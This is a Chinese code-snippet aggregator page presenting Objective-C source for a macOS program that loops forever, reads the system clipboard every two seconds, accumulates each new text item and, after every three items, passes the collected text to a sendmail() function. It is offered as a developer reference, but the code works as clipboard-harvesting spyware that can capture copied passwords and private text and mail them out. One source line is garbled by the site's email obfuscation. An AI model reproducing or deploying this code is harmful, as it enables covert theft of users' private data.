MAC 下提取剪切板内容 发送到指定邮箱

下面是来客网 jb51.cc 通过网络收集整理的代码片段。

来客网小编现在分享给大家,也给大家做个参考。

//
//  main.m
//  test
//
//  Created by Developer on 3/11/15.
//  Copyright (c) 2015 Developer. All rights reserved.
//

#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#import "sendmail.h"


void pasteboradread();
void pasteboradread1();




int main(int argc,const char * argv[]) {
    @autoreleasepool {
        // insert code here...
        //  NSString *a = @"dddddddd";
        
        NSLog(@"Hello,World!n");
        pasteboradread1();
    }
    return 0;
}

void pasteboradread1()
{
    NSPasteboard *pasteboard = [NSPasteboard generalPasteboard];
    NSString *plainText;
    //NSString *tempString = [NSString string];
    NSString *tempString;
    NSString *[email protected]"";
    char * string;
    int count = 0;
    //NSFileManager *tempfile = [NSFileManager defaultManager];
    //NSData *tempdata = [tempfile contentsAtPath:@"/tmp"];
    
    while(1){
        //是否能从剪切板提取
        if ([pasteboard canReadItemWithDataConformingToTypes:@[NSPasteboardTypeRTF]]) {
            //从剪切板提取文字
            plainText = [[pasteboard readObjectsForClasses:@[[NSString class]] options:nil]firstObject];
            //[tempfile createFileAtPath:@"/tmp/work.txt" contents:<#(NSData *)#> attributes:<#(NSDictionary *)#>]
            //是否
           if (![tempString isEqualTo:plainText]) {
                tempString = [NSString stringWithString:plainText];
               saveString = [saveString stringByAppendingString:tempString];
               NSLog(@"text:%@",tempString);
               count++;
               
               if (count == 3) {
                   string = [saveString UTF8String];
                printf("--------------------n%s",string);
                   sendmail(string);
                   count = 0;
               }
            }
            sleep(2);
    
        }
    }
    
}

以上是来客网(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。

如果觉得来客网网站内容还不错,欢迎将来客网网站推荐给程序员好友。

以上是来客网为你收集整理的MAC 下提取剪切板内容 发送到指定邮箱全部内容,希望文章能够帮你解决MAC 下提取剪切板内容 发送到指定邮箱所遇到的程序开发问题。

如果觉得来客网网站内容还不错,欢迎将来客网网站推荐给程序员好友。